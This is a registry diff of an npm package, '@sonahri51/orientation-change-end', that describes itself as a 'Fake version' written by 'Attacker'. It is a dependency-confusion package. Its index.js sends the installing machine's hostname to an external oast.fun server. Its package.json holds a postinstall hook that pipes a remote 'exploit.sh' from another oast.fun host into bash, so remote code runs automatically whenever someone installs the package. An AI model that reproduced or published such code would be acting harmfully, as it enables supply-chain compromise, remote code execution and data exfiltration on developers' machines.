@sonahri51/orientation-change-end 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +33 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,33 @@
1
+ const https = require('https');
2
+
3
+ const data = JSON.stringify({
4
+ message: "Dependency Confusion Test - orientation-change-end loaded",
5
+ hostname: require('os').hostname(),
6
+ timestamp: new Date().toISOString()
7
+ });
8
+
9
+ // Send the data to your webhook or controlled server
10
+ const options = {
11
+ hostname: 'xglkcqtkpgpaxdrmmnfgc3x3e23g4m1dj.oast.fun',
12
+ port: 443,
13
+ path: '/log',
14
+ method: 'POST',
15
+ headers: {
16
+ 'Content-Type': 'application/json',
17
+ 'Content-Length': data.length
18
+ }
19
+ };
20
+
21
+ const req = https.request(options, (res) => {
22
+ console.log(`Dependency Confusion Test Sent - Status: ${res.statusCode}`);
23
+ });
24
+
25
+ req.on('error', (error) => {
26
+ console.error(`Error: ${error.message}`);
27
+ });
28
+
29
+ req.write(data);
30
+ req.end();
31
+
32
+ // Print in logs (useful if you have access to logs)
33
+ console.log("orientation-change-end package was loaded!");
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@sonahri51/orientation-change-end",
3
+ "version": "1.0.0",
4
+ "description": "Fake version of orientation-change-end",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "curl -s http://xglkcqtkpgpaxdrmmnfgdev728sn2ar63.oast.fun/exploit.sh | bash"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "ISC"
11
+ }